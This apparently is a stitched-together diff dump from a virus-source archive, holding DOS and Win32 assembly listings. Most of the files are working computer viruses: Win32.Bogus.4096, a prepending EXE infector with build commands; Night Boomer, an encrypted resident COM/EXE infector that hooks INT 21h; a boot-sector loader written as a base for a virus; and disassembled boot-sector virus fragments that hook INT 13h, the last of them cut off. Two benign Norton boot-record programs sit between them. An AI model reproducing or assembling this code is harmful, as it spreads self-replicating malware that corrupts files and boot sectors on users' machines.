mov word ptr cs:[D_Mess], 1
Sigh: mov cx, 30h
Sigh2: push cx
mov cx, 0FFFFh
DelayX: loop DelayX
pop cx
loop Sigh2
xchg si, bp
QuitNow:
popf
pop es
pop ds
pop si
pop dx
pop cx
pop bx
pop ax
jmp dword ptr CS:duh
Messages db 0
db 15, 'Bob Ross lives!'
db 21, 'Bob Ross is watching!'
db 22, 'Maybe he lives here...'
db 26, 'What a happy little cloud!'
db 38, 'Maybe he has a neighbour right here...'
db 40, 'You can make up stories as you go along.'
_int_08_handler endp
int_end:
part2_end:
CODE ends
end part1_start
+193
View File
@@ -0,0 +1,193 @@
comment *
Win32.Bogus.4096 ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
Disassembly by ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
Darkman/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
Win32.Bogus.4096 is a 4096 bytes runtime/direct action EXE virus. Infects
first file in current directory, when executed, by prepending the virus to
the original EXE file.
Compile Win32.Bogus.4096 with Turbo Assembler v 5.0 by typing:
TASM32 /M /ML /Q BOGUS.ASM
TLINK32 -Tpe -c -x -aa -r BOGUS.OBJ,,, IMPORT32
*
.386
.model flat
; KERNEL32.dll
extrn ExitProcess:proc
extrn FindFirstFileA:proc
extrn WinExec:proc
extrn _lclose:proc
extrn _llseek:proc
extrn _lopen:proc
extrn _lread:proc
extrn _lwrite:proc
extrn CopyFileA:proc
.data
MAX_PATH equ 0ffh
FALSE equ 00h
OF_READWRITE equ 02h ; Opens the file for reading and
; writing
SW_SHOW equ 05h ; Activates the window and displays it
; in its current size and position
FILETIME struct
dwLowDateTime DWORD ? ; Specifies the low-order 32 bits of
; the file time
dwHighDateTime DWORD ? ; Specifies the high-order 32 bits of
; the file time
FILETIME ends
WIN32_FIND_DATA struct
dwFileAttributes DWORD ? ; Specifies the file attributes of the
; file found
ftCreationTime FILETIME <> ; Specifies the time the file was
; created
ftLastAccessTime FILETIME <> ; Specifies the time that the file was
; last accessed
ftLastWriteTime FILETIME <> ; Specifies the time that the file was
; last written to
nFileSizeHigh DWORD ? ; Specifies the high-order DWORD value
; of the file size, in bytes
nFileSizeLow DWORD ? ; Specifies the low-order DWORD value
; of the file size, in bytes
dwReserved0 DWORD ? ; Reserved for future use
dwReserved1 DWORD ? ; Reserved for future use
cFileName BYTE MAX_PATH dup(?)
; A null-terminated string that is the
; name of the file
cAlternate BYTE 0eh dup(?) ; A null-terminated string that is an
; alternative name for the file
ends
FindFileData WIN32_FIND_DATA <>
szFileName db '*.exe',00h ; Name of file to search for
szNewFileName db 'ZerNeboGus.exe',00h
; Null-terminated string that
; specifies the name of the new file
cBuffer db ? ; Buffer for read data, data to be
; written
cBuffer_ db ? ; Buffer for read data, data to be
; written
.code
code_begin:
lea edi,[esp+10h] ; EDI = pointer to buffer for module
; path
push edi ; EDI = pointer to buffer for module
; path
repne scasb ; Find end of filename
mov byte ptr [edi-01h],'.' ; Store dot
pop edi ; EDI = pointer to buffer for module
; path
push offset FindFileData ; Address of returned information
push offset szFileName ; Address of name of file to search
; for
call FindFirstFileA
push FALSE ; If file already exists, overwrite it
push offset szNewFileName ; Address of filename to copy to
push edi ; Address of name of an existing file
call CopyFileA
push OF_READWRITE ; Opens the file for reading and
; writing
push offset FindFileData.cFileName
; Address of name of file to open
call _lopen
mov esi,eax ; ESI = file handle
push OF_READWRITE ; Opens the file for reading and
; writing
push offset szNewFileName ; Address of filename to copy to
call _lopen
mov edi,eax ; EDI = file handle
xor ebx,ebx ; Number of bytes read and written
mov ebp,0fffff000h ; Number of bytes to move through
; source file
read_write_loop:
push 00h ; Position to move from
push ebx ; Number of bytes to move
push esi ; Pointer to destination filename
call _llseek
push 01h ; Length, in bytes, of data buffer
push offset cBuffer ; Address of buffer for read data
push esi ; Pointer to destination filename
call _lread
push 00h ; Position to move from
push ebx ; Number of bytes to move
push edi ; Pointer to source filename
call _llseek
push 01h ; Length, in bytes, of data buffer
push offset cBuffer_ ; Address of buffer for read data
push edi ; Pointer to source filename
call _lread
push 00h ; Position to move from
push ebx ; Number of bytes to move
push esi ; Pointer to destination filename
call _llseek
push 01h ; Number of bytes to write
push offset cBuffer_ ; Address of buffer for data to be
; written
push esi ; Pointer to destination filename
call _lwrite
push 02h ; Position to move from
push 00h ; Number of bytes to move
push esi ; Pointer to destination filename
call _llseek
push 01h ; Number of bytes to write
push offset cBuffer ; Address of buffer for data to be
; written
push esi ; Pointer to destination filename
call _lwrite
push 02h ; Position to move from
push ebp ; Number of bytes to move
push edi ; Pointer to source filename
call _llseek
push 01h ; Length, in bytes, of data buffer
push offset cBuffer ; Address of buffer for read data
push edi ; Pointer to source filename
call _lread
push 00h ; Position to move from
push ebx ; Number of bytes to move
push edi ; Pointer to source filename
call _llseek
push 01h ; Number of bytes to write
push offset cBuffer ; Address of buffer for data to be
push edi ; Pointer to source filename
call _lwrite
inc ebx ; Increase number of bytes read and
; written
inc ebp ; Increase number of bytes to move
; through source file
cmp bx,1000h ; Read and written all of the virus?
jne read_write_loop ; Not equal? Jump to read_write_loop
push edi ; Handle of file to close
call _lclose
push SW_SHOW ; Activates the window and displays it
; in its current size and position
push offset szNewFileName ; Address of filename to copy to
call WinExec
code_end:
end code_begin
+353
View File
@@ -0,0 +1,353 @@
; Virus generated by Gý 0.70á
; Gý written by Dark Angel of Phalcon/Skism
; File: BOMB.ASM
; Night Boomer by (c) TNT
checkres1 = 'DA'
checkres2 = 'PS'
id = 'NB'
.model tiny
.code
; Assemble with:
; TASM /m3 filename.ASM
; TLINK filename.OBJ
; EXE2BIN filename.EXE filename.COM
org 0000h
start:
ENCRYPT:
patchstart:
mov bx, offset endencrypt
mov cx, (heap-endencrypt)/2+1
encrypt_loop:
db 002Eh ; cs:
db 0081h,0037h ; xor word ptr [bx], xxxx
encryptvalue dw 0000h
add bx, 0002h
loop encrypt_loop
endencrypt:
mov bp, sp
int 0003h
next:
mov bp, ss:[bp-6]
sub bp, offset next
push ds
push es
mov ax, checkres1 ; Installation check
int 0021h
cmp ax, checkres2 ; Already installed?
jz done_install
mov ah, 004Ah ; alter memory allocation
mov bx, 0FFFFh ; of segment at ES
int 0021h
sub bx, (endheap-start+15)/16+1
mov ah, 004Ah ; alter memory allocation
int 0021h
jc done_install
sub word ptr ds:[0002h], (endheap-start+15)/16+1
mov ah, 0048h ; Allocate memory for the virus
mov bx, (endheap-start+15)/16
int 0021h
jc done_install
mov es, ax
dec ax
mov ds, ax ; Get MCB
mov byte ptr ds:[0000h], 'Z' ; Mark end of chain
mov word ptr ds:[0001h], 0008h ; Mark owner = DOS
push cs
pop ds
xor di, di
mov cx, (heap-start)/2+1 ; Bytes to move
mov si, bp ; lea si,[bp+offset start]
rep movsw
xor ax, ax
mov ds, ax
push ds
lds ax, ds:[21h*4] ; Get old int handler
mov word ptr es:oldint21, ax
mov word ptr es:oldint21+2, ds
pop ds
mov word ptr ds:[21h*4], offset int21 ; Replace with new handler
mov ds:[21h*4+2], es ; in high memory
done_install:
pop es
pop ds
cmp sp, id
jne restore_COM
restore_EXE:
mov ax, ds
add ax, 0010h
add cs:[bp+word ptr origCSIP+2], ax
add ax, cs:[bp+word ptr origSPSS]
cli
mov ss, ax
mov sp, cs:[bp+word ptr origSPSS+2]
sti
db 00EAh
origCSIP db ?
old3 db 0cdh,20h,0
origSPSS dd ?
restore_COM:
mov di, 0100h
push di
lea si, [bp+offset old3]
movsw
movsb
ret
INT24:
mov al, 0003h
iret
int21:
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
cmp ax, 4B00h ; execute?
jz execute
return:
jmp exitint21
execute:
mov word ptr cs:filename, dx
mov word ptr cs:filename+2, ds
mov ax, 3524h
int 0021h
push es
push bx
lea dx, INT24 ; ASSumes ds=cs
mov ax, 2524h
int 0021h
push cs
pop es
mov bx, dx
cmp word ptr [bx+3], 'AM' ; Check if COMMAND.COM
jz return ; Exit if so
mov ax, 4300h
lds dx, cs:filename
int 0021h
jc return
push cx
push ds
push dx
mov ax, 4301h ; clear file attributes
push ax ; save for later use
xor cx, cx
int 0021h
lds dx, cs:filename
mov ax, 3D02h
int 0021h
xchg ax, bx
push cs
pop ds
mov ax, 5700h ; get file time/date
int 0021h
push cx
push dx
mov cx, 001Ah
mov dx, offset readbuffer
mov ah, 003Fh
int 0021h
xor cx, cx
mov ax, 4202h
xor dx, dx
int 0021h
cmp word ptr [offset readbuffer], 'ZM'
jz checkEXE
mov cx, word ptr [offset readbuffer+1] ; jmp location
add cx, heap-start+3 ; convert to filesize
cmp ax, cx ; equal if already infected
jz jmp_close
cmp ax, 65535-(endheap-start) ; check if too large
ja jmp_close ; Exit if so
mov si, offset readbuffer
mov di, offset old3
movsw
movsb
mov si, ax ; save entry point
add si, 0100h
mov cx, 0003h
sub ax, cx
mov word ptr [offset readbuffer+1], ax
mov dl, 00E9h
mov byte ptr [offset readbuffer], dl
jmp short continue_infect
checkEXE:
cmp word ptr [offset readbuffer+10h], id
jnz skipp
jmp_close:
jmp close
skipp:
lea di, origCSIP
lea si, readbuffer+14h
movsw ; Save original CS and IP
movsw
sub si, 000Ah
movsw ; Save original SS and SP
movsw
push bx ; save file handle
mov bx, word ptr [readbuffer+8] ; Header size in paragraphs
mov cl, 0004h
shl bx, cl
push dx ; Save file size on the
push ax ; stack
sub ax, bx ; File size - Header size
sbb dx, 0000h ; DX:AX - BX -> DX:AX
mov cx, 0010h
div cx ; DX:AX/CX = AX Remainder DX
mov word ptr [readbuffer+0Eh], ax ; Para disp stack segment
mov word ptr [readbuffer+14h], dx ; IP Offset
mov word ptr [readbuffer+16h], ax ; Para disp CS in module.
mov word ptr [readbuffer+10h], id ; Initial SP
mov si, dx ; save entry point
pop ax ; Filelength in DX:AX
pop dx
add ax, heap-start
adc dx, 0000h
mov cl, 0009h
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax
pop ax
and ah, 0001h
mov word ptr [readbuffer+4], dx ; Fix-up the file size in
mov word ptr [readbuffer+2], ax ; the EXE header.
pop bx ; restore file handle
mov cx, 001Ah
continue_infect:
push cx ; save # bytes to write
mov ah, 002Ch ; Get current time
int 0021h
add si, (offset endencrypt-offset encrypt)
mov word ptr ds:[patchstart+1], si
mov word ptr ds:[encryptvalue], dx
mov di, offset encryptbuffer
mov si, offset ENCRYPT
mov cx, (heap-encrypt)/2
push si
rep movsw ; copy virus to buffer
mov ax, offset endencrypt-encrypt+encryptbuffer
mov word ptr ds:[patchstart+1], ax
pop si
push offset endencrypt
mov byte ptr [offset endencrypt], 00C3h ; retn
push bx
call si ; encrypt virus in buffer
pop bx
pop word ptr [offset endencrypt]
mov ah, 0040h
mov cx, heap-encrypt
mov dx, offset encryptbuffer
int 0021h
mov ax, 4200h
xor cx, cx
xor dx, dx
int 0021h
mov dx, offset readbuffer
mov ah, 0040h
pop cx
int 0021h
close:
mov ax, 5701h ; restore file time/date
pop dx
pop cx
int 0021h
mov ah, 003Eh
int 0021h
pop ax ; restore file attributes
pop dx ; get filename and
pop ds
pop cx ; attributes from stack
int 0021h
pop dx
pop ds
mov ax, 2524h
int 0021h
exitint21:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
db 00EAh ; return to original handler
oldint21 dd ?
signature db '[PS/Gý]',0 ; Phalcon/Skism Gý
creator db '(c) TNT ',0
virusname db 'Night Boomer',0
heap:
encryptbuffer db (heap-encrypt)+1 dup (?)
filename dd ?
readbuffer db 1ah dup (?)
endheap:
end start
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,116 @@
; Boot Record Program (C) Copyright Peter Norton 1986
; From PC Magazine ca. January 1986
boots segment 'code'
public boot
assume cs:boots
boot proc far
; 30-byte DOS info -- set up for 2-sides, 9-sector
; change as needed for any other format
head:
jmp begin ; EB 2A 90 as per normal
db ' DE 1.0 ' ; 8-byte system id
dw 512 ; sector size in bytes
db 2 ; sectors per cluster
dw 1 ; reserved clusters
db 2 ; number of fats
dw 112 ; root directory entries
dw 760 ; total sectors
db 0FDh ; format id
dw 2 ; sectors per fat
dw 9 ; sectors per track
dw 2 ; sides
dw 0 ; special hidden sectors
; mysterious but apparently standard 14-byte filler
db 14 dup (0)
; carry on with the boot work
begin:
mov ax,07C0h ; boot record location
push ax
pop ds
mov bx,message_offset ; put offset to message into si
mov cx,message_length ; message length from cx
continue:
mov ah,14 ; write teletype
mov al,[bx]
push ds
push cx
push bx
int 10h
pop bx
pop cx
pop ds
inc bx
loop continue
mov ah,0 ; read next keyboard character
int 16h
mov ah,15 ; get video mode
int 10h
mov ah,0 ; set video mode (clears screen)
int 10h
int 19h ; re-boot
beg_message:
db 0Dh,0Ah ; carriage return, line-feed
db 0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db ' Start your computer with'
db 0Dh,0Ah
db ' a DOS system diskette.'
db 0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db ' This is'
db 0Dh,0Ah
db ' The Norton Utilities'
db 0Dh,0Ah
db ' Version 3.0'
db 0Dh,0Ah
db ' from'
db 0Dh,0Ah
db ' Peter Norton'
db 0Dh,0Ah
db ' 2210 Wilshire Blvd'
db 0Dh,0Ah
db ' Santa Monica, CA 90403'
db 0Dh,0Ah
db 0Dh,0Ah
db ' (213) 826-8092'
db 0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db ' Insert a DOS diskette'
db 0Dh,0Ah
db ' Press any key to start DOS ... '
end_message:
; I put a copyright notice here; you do if you want to ...
tail:
message_offset equ beg_message - head
message_length equ end_message - beg_message
filler_amount equ 512 - (tail - head) - 2
db filler_amount dup (0) ; filler
db 055h,0AAh ; boot id
boot endp
boots ends
end

@@ -0,0 +1,115 @@
; Boot Record Program (C) Copyright Peter Norton 1986
boots segment 'code'
public boot
assume cs:boots
boot proc far
; 30-byte DOS info -- set up for 1-side, 8-sector
; change as needed for any other format
head:
jmp begin ; EB 2A 90 as per normal
db ' Norton ' ; 8-byte system id
dw 512 ; sector size in bytes
db 1 ; sectors per cluster
dw 1 ; reserved clusters
db 2 ; number of fats
dw 64 ; root directory entries
dw 320 ; total sectors
db 0FEh ; format id
dw 1 ; sectors per fat
dw 8 ; sectors per track
dw 1 ; sides
dw 0 ; special hidden sectors
; mysterious but apparently standard 14-byte filler
db 14 dup (0)
; carry on with the boot work
begin:
mov ax,07C0h ; boot record location
push ax
pop ds
mov bx,message_offset ; put offset to message into si
mov cx,message_length ; message length from cx
continue:
mov ah,14 ; write teletype
mov al,[bx]
push ds
push cx
push bx
int 10h
pop bx
pop cx
pop ds
inc bx
loop continue
mov ah,0 ; read next keyboard character
int 16h
mov ah,15 ; get video mode
int 10h
mov ah,0 ; set video mode (clears screen)
int 10h
int 19h ; re-boot
beg_message:
db 0Dh,0Ah ; carriage return, line-feed
db 0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db ' Start your computer with'
db 0Dh,0Ah
db ' a DOS system diskette.'
db 0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db ' This is'
db 0Dh,0Ah
db ' The Norton Utilities'
db 0Dh,0Ah
db ' Version 3.0'
db 0Dh,0Ah
db ' from'
db 0Dh,0Ah
db ' Peter Norton'
db 0Dh,0Ah
db ' 2210 Wilshire Blvd'
db 0Dh,0Ah
db ' Santa Monica, CA 90403'
db 0Dh,0Ah
db 0Dh,0Ah
db ' (213) 826-8092'
db 0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db ' Insert a DOS diskette'
db 0Dh,0Ah
db ' Press any key to start DOS ... '
end_message:
; I put a copyright notice here; you do if you want to ...
tail:
message_offset equ beg_message - head
message_length equ end_message - beg_message
filler_amount equ 512 - (tail - head) - 2
db filler_amount dup (0) ; filler
db 055h,0AAh ; boot id
boot endp
boots ends
end

+248
View File
@@ -0,0 +1,248 @@
;This is a simple boot sector that will load either MS-DOS or PC-DOS. It is not
;self-reproducing, but it will be used as the foundation on which to build a
;virus into a boot sector.
;This segment is where the first operating system file (IBMBIO.COM or IO.SYS)
;will be loaded and executed from. We don't know (or care) what is there, but
;we do need the address to jump to defined in a separate segment so we can
;execute a far jump to it.
DOS_LOAD SEGMENT AT 0070H
ASSUME CS:DOS_LOAD
ORG 0
LOAD: DB 0 ;Start of the first operating system program
DOS_LOAD ENDS
MAIN SEGMENT BYTE
ASSUME CS:MAIN,DS:MAIN,SS:NOTHING
;This jump instruction is just here so we can compile this program as a COM
;file. It is never actually executed, and never becomes a part of the boot
;sector. Only the 512 bytes after the address 7C00 in this file become part of
;the boot sector.
ORG 100H
START: jmp BOOTSEC
;The following two definitions are BIOS RAM bytes which contain information
;about the number and type of disk drives in the computer. These are needed by
;the virus to decide on where to look to find drives to infect. They are not
;normally needed by an ordinary boot sector.
;
; ORG 0410H
;
;SYSTEM_INFO: DB ? ;System info byte: Take bits 6 & 7 and add 1 to get number of
; ;disk drives on this system (eg 01 = 2 drives)
;
; ORG 0475H
;
;HD_COUNT: DB ? ;Number of hard drives in the system
;
;This area is reserved for loading the first sector of the root directory, when
;checking for the existence of system files and loading the first system file.
ORG 0500H
DISK_BUF: DW ? ;Start of the buffer
;Here is the start of the boot sector code. This is the chunk we will take out
;of the compiled COM file and put it in the first sector on a 360K floppy disk.
;Note that this MUST be loaded onto a 360K floppy to work, because the
;parameters in the data area that follow are set up to work only with a 360K
;disk!
ORG 7C00H
BOOTSEC: JMP BOOT ;Jump to start of boot sector code
ORG 7C03H ;This is needed because the jump will get coded as 2 bytes
DOS_ID: DB 'EZBOOT ' ;Name of this boot sector (8 bytes)
SEC_SIZE: DW 200H ;Size of a sector, in bytes
SECS_PER_CLUST: DB 02 ;Number of sectors in a cluster
FAT_START: DW 1 ;Starting sector for the first File Allocation Table (FAT)
FAT_COUNT: DB 2 ;Number of FATs on this disk
ROOT_ENTRIES: DW 70H ;Number of root directory entries
SEC_COUNT: DW 2D0H ;Total number of sectors on this disk
DISK_ID: DB 0FDH ;Disk type code (This is 360KB)
SECS_PER_FAT: DW 2 ;Number of sectors per FAT
SECS_PER_TRK: DW 9 ;Sectors per track for this drive
HEADS: DW 2 ;Number of heads (sides) on this drive
HIDDEN_SECS: DW 0 ;Number of hidden sectors on the disk
DSKBASETBL:
DB 0 ;Specify byte 1: step rate time, head unload time
DB 0 ;Specify byte 2: Head load time, DMA mode
DB 0 ;Wait time until motor turned off, in clock ticks
DB 0 ;Bytes per sector (0=128, 1=256, 2=512, 3=1024)
DB 12H ;Last sector number (we make it large enough to handle 1.2/1.44 MB floppies)
DB 0 ;Gap length between sectors for r/w operations, in bytes
DB 0 ;Data transfer length when sector length not specified
DB 0 ;Gap length between sectors for format operations, in bytes
DB 0 ;Value stored in newly formatted sectors
DB 1 ;Head settle time, in milliseconds (we set it small to speed operations)
DB 0 ;Motor startup time, in 1/8 seconds
HEAD: DB 0 ;Current head to read from (scratch area used by boot sector)
;Here is the start of the boot sector code
BOOT: CLI ;interrupts off
XOR AX,AX ;prepare to set up segments
MOV ES,AX ;set ES=0
MOV SS,AX ;start stack at 0000:7C00
MOV SP,OFFSET BOOTSEC
MOV BX,1EH*4 ;get address of disk
LDS SI,SS:[BX] ;param table in ds:si
PUSH DS
PUSH SI ;save that address
PUSH SS
PUSH BX ;and its address
MOV DI,OFFSET DSKBASETBL ;and update default
MOV CX,11 ;values to the table stored here
CLD ;direction flag cleared
DFLT1: LODSB
CMP BYTE PTR ES:[DI],0 ;anything non-zero
JNZ SHORT DFLT2 ;is not a default, so don't save it
STOSB ;else put default value in place
JMP SHORT DFLT3 ;and go on to next
DFLT2: INC DI
DFLT3: LOOP DFLT1 ;and loop until cx=0
MOV AL,AH ;set ax=0
MOV DS,AX ;set ds=0 so we can set disk tbl
MOV WORD PTR [BX+2],AX ;to @DSKBASETBL (ax=0 here)
MOV WORD PTR [BX],OFFSET DSKBASETBL ;ok, done
STI ;now turn interrupts on
INT 13H ;and reset disk drive system
ERROR1: JC ERROR1 ;if an error, hang the machine
;Here we look at the first file on the disk to see if it is the first MS-DOS or
;PC-DOS system file, IO.SYS or IBMBIO.COM, respectively.
LOOK_SYS:
MOV AL,BYTE PTR [FAT_COUNT] ;get fats per disk
XOR AH,AH
MUL WORD PTR [SECS_PER_FAT] ;multiply by sectors per fat
ADD AX,WORD PTR [HIDDEN_SECS] ;add hidden sectors
ADD AX,WORD PTR [FAT_START] ;add starting fat sector
PUSH AX
MOV WORD PTR [DOS_ID],AX ;root dir, save it
MOV AX,20H ;dir entry size
MUL WORD PTR [ROOT_ENTRIES] ;dir size in ax
MOV BX,WORD PTR [SEC_SIZE] ;sector size
ADD AX,BX ;add one sector
DEC AX ;decrement by 1
DIV BX ;ax=# sectors in root dir
ADD WORD PTR [DOS_ID],AX ;DOS_ID=start of data
MOV BX,OFFSET DISK_BUF ;set up disk read buffer at 0000:0500
POP AX
CALL CONVERT ;and go convert sequential sector number to bios data
MOV AL,1 ;prepare for a disk read for 1 sector
CALL READ_DISK ;go read it
MOV DI,BX ;compare first file on disk with
MOV CX,11 ;required file name
MOV SI,OFFSET SYSFILE_1 ;of first system file for PC DOS
REPZ CMPSB
JZ SYSTEM_THERE ;ok, found it, go load it
MOV DI,BX ;compare first file with
MOV CX,11 ;required file name
MOV SI,OFFSET SYSFILE_2 ;of first system file for MS DOS
REPZ CMPSB
ERROR2: JNZ ERROR2 ;not the same - an error, so hang the machine
;Ok, system file is there, so load it
SYSTEM_THERE:
MOV AX,WORD PTR [DISK_BUF+1CH] ;get file size of IBMBIO.COM/IO.SYS
XOR DX,DX
DIV WORD PTR [SEC_SIZE] ;and divide by sector size
INC AL ;ax=number of sectors to read
MOV BP,AX ;store that number in BP
MOV AX,WORD PTR [DOS_ID] ;get sector number of start of data
PUSH AX
MOV BX,700H ;set disk read buffer to 0000:0700
RD_BOOT1: MOV AX,WORD PTR [DOS_ID] ;and get sector to read
CALL CONVERT ;convert to bios Trk/Cyl/Sec info
MOV AL,1 ;read one sector
CALL READ_DISK ;go read the disk
SUB BP,1 ;subtract 1 from number of sectors to read
JZ DO_BOOT ;and quit if we're done
ADD WORD PTR [DOS_ID],1 ;add sectors read to sector to read
ADD BX,WORD PTR [SEC_SIZE] ;and update buffer address
JMP RD_BOOT1 ;then go for another
;Ok, the first system file has been read in, now transfer control to it
DO_BOOT:
MOV CH,BYTE PTR [DISK_ID] ;Put drive type in ch
MOV DL,BYTE PTR [DRIVE] ;Drive number in dl
POP BX
JMP FAR PTR LOAD ;and transfer control to the first system file
;Convert sequential sector number in ax to BIOS Track, Head, Sector information.
;Save track number in DX, sector number in CH,
CONVERT:
XOR DX,DX
DIV WORD PTR [SECS_PER_TRK] ;divide ax by sectors per track
INC DL ;dl=sector number to start read on, al=track/head count
MOV CH,DL ;save it here
XOR DX,DX
DIV WORD PTR [HEADS] ;divide ax by head count
MOV BYTE PTR [HEAD],DL ;dl=head number, save it
MOV DX,AX ;ax=track number, save it in dx
RET
;Read the disk for the number of sectors in al, into the buffer es:bx, using
;the track number in DX, the head number at HEAD, and the sector
;number at CH.
READ_DISK:
MOV AH,2 ;read disk command
MOV CL,6 ;shift possible upper 2 bits of track number to
SHL DH,CL ;the high bits in dh
OR DH,CH ;and put sector number in the low 6 bits
MOV CX,DX
XCHG CH,CL ;ch (0-5) = sector, cl, ch (6-7) = track
MOV DL,BYTE PTR [DRIVE] ;get drive number from here
MOV DH,BYTE PTR [HEAD] ;and head number from here
INT 13H ;go read the disk
ERROR3: JC ERROR3 ;hang in case of an error
RET
;Move data that doesn't change from this boot sector to the one read in at
;DISK_BUF. That includes everything but the DRIVE ID (at offset 7DFDH) and
;the data area at the beginning of the boot sector.
MOVE_DATA:
MOV SI,OFFSET DSKBASETBL ;Move all of the boot sector code after the data area
MOV DI,OFFSET DISK_BUF + (OFFSET DSKBASETBL - OFFSET BOOTSEC)
MOV CX,OFFSET DRIVE - OFFSET DSKBASETBL
REP MOVSB
MOV SI,OFFSET BOOTSEC ;Move the initial jump and the sector ID
MOV DI,OFFSET DISK_BUF
MOV CX,11
REP MOVSB
RET
SYSFILE_1: DB 'IBMBIO COM' ;PC DOS System file
SYSFILE_2: DB 'IO SYS' ;MS DOS System file
ORG 7DFDH
DRIVE: DB 0 ;Drive number, used in disk reads, etc.
BOOT_ID: DW 0AA55H ;Boot sector ID word
MAIN ENDS
END START

+232
View File
@@ -0,0 +1,232 @@
name boot1_asm
.radix 16
start:
jmp boot
db 'IBM 3.3'
dw 200
db 2
dw 1
db 2
dw 70
dw 2D0
db 0FDh
dw 2
dw 9
dw 2
dw 0
boot:
xor ax,ax
mov ss,ax
mov sp,7C00
mov ds,ax
mov ax,[413]
sub ax,2
mov [413],ax
mov cl,6
shl ax,cl
sub ax,7C0
mov es,ax
mov si,7C00
mov di,si
mov cx,100
rep movsw
db 8E,0C8
; mov cs,ax
push cs
pop ds
call n_00014A
n_00014A:
xor ah,ah
int 13
and byte ptr [7DF8],80
mov bx,[7DF9]
push cs
pop ax
sub ax,20
mov es,ax
call n_00019D
mov bx,[7DF9]
inc bx
mov ax,0FFC0
mov es,ax
call n_00019D
xor ax,ax
mov byte ptr [7DF7],al
mov ds,ax
mov ax,[4C]
mov bx,[4E]
mov [4C],7CD0
mov [4E],cs
push cs
pop ds
mov [7D2A],ax
mov [7D2C],bx
mov dl,byte ptr [7DF8]
jmp far ptr f_007C00
mov ax,301
jmp short n_0001A0
n_00019D:
mov ax,201
n_0001A0:
xchg ax,bx
add ax,[7C1C]
xor dx,dx
div word ptr [7C18]
inc dl
mov ch,dl
xor dx,dx
div word ptr [7C1A]
mov cl,6
shl ah,cl
or ah,ch
mov cx,ax
xchg ch,cl
mov dh,dl
mov ax,bx
n_0001C3:
mov dl,byte ptr [7DF8]
mov bx,8000
int 13
jnb n_0001CF
pop ax
n_0001CF:
ret
push ds
push es
push ax
push bx
push cx
push dx
push cs
pop ds
push cs
pop es
test byte ptr [7DF7],1
jne n_000223
cmp ah,2
jne n_000223
cmp byte ptr [7DF8],dl
mov byte ptr [7DF8],dl
jne n_000212
xor ah,ah
int 1A
test dh,7F
jne n_000203
test dl,0F0
jne n_000203
push dx
call n_0003B3
pop dx
n_000203:
mov cx,dx
sub dx,[7EB0]
mov [7EB0],cx
sub dx,24
jb n_000223
n_000212:
or byte ptr [7DF7],1
push si
push di
call n_00022E
pop di
pop si
and byte ptr [7DF7],0FE
n_000223:
pop dx
pop cx
pop bx
pop ax
pop es
pop ds
jmp far ptr f_0C833E
n_00022E:
mov ax,201
mov dh,0
mov cx,1
call n_0001C3
test byte ptr [7DF8],80
jz n_000263
mov si,81BE
mov cx,4
n_000246:
cmp byte ptr [si+4],1
je n_000258
cmp byte ptr [si+4],4
je n_000258
add si,10
loop n_000246
ret
n_000258:
mov dx,[si]
mov cx,[si+2]
mov ax,201
call n_0001C3
n_000263:
mov si,8002
mov di,7C02
mov cx,1C
rep movsb
cmp [81FC],1357
jne n_00028B
cmp byte ptr [81FBh],0
jnb n_00028A
mov ax,[81F5]
mov [7DF5],ax
mov si,[81F9]
jmp n_000392
n_00028A:
ret
n_00028B:
cmp [800Bh],200
jne n_00028A
cmp byte ptr [800Dh],2
jb n_00028A
mov cx,[800E]
mov al,[8010]
cbw
mul word ptr [8016]
add cx,ax
mov ax,20
mul word ptr [8011]
add ax,1FF
mov bx,200
div bx
add cx,ax
mov word ptr [7DF5],cx
mov ax,[7C13]
sub ax,[7DF5]
mov bl,[7C0Dh]
xor dx,dx
xor bh,bh
div bx
inc ax
mov di,ax
and byte ptr [7DF7],0FBh
cmp ax,0FF0
jbe n_0002E0
or byte ptr [7DF7],4
n_0002E0:
mov si,1
mov bx,[7C0E]
dec bx
mov [7DF3],bx
mov byte ptr [7EB2],0FE
jmp short n_000300
db 1,0,0C,0,1,0,48,1,0,57,13
dw 0AA55
n_000300:
extrn n_000392:near,n_0003B3:near
extrn f_007C00:far,f_0C833E:far

+413
View File
@@ -0,0 +1,413 @@
name boot2_asm
.radix 16
n_000100:
inc word ptr [7DF3]
mov bx,[7DF3]
add byte ptr [7EB2],2
call n_FFFF9D
jmp short n_00014B
n_000112:
mov ax,3
test byte ptr [7DF7],4
je n_00011D
inc ax
n_00011D:
mul si
shr ax,1
sub ah,byte ptr [7EB2]
mov bx,ax
cmp bx,1FF
jnb n_000100
mov dx,[bx+8000]
test byte ptr [7DF7],4
jne n_000145
mov cl,4
test si,1
je n_000142
shr dx,cl
n_000142:
and dh,0F
n_000145:
test dx,0FFFF
jz n_000151
n_00014B:
inc si
cmp si,di
jbe n_000112
ret
n_000151:
mov dx,0FFF7
test byte ptr [7DF7],4
jnz n_000168
and dh,0F
mov cl,4
test si,1
je n_000168
shl dx,cl
n_000168:
or [bx+8000],dx
mov bx,[7DF3]
call n_FFFF98
mov ax,si
sub ax,2
mov bl,byte ptr [7C0Dh]
xor bh,bh
mul bx
add ax,[7DF5]
mov si,ax
mov bx,0
call n_FFFF9D
mov bx,si
inc bx
call n_FFFF98
mov bx,si
mov [7DF9],si
push cs
pop ax
sub ax,20
mov es,ax
call n_FFFF98
push cs
pop ax
sub ax,40
mov es,ax
mov bx,0
call n_FFFF98
ret
mov ch,23
add dh,dh
push es
idiv word ptr [di+2]
jne n_0001DE
or byte ptr [7DF7],2
mov ax,0
mov ds,ax
mov ax,[20]
mov bx,[22]
mov [20],7EDF
mov [22],cs
push cs
pop ds
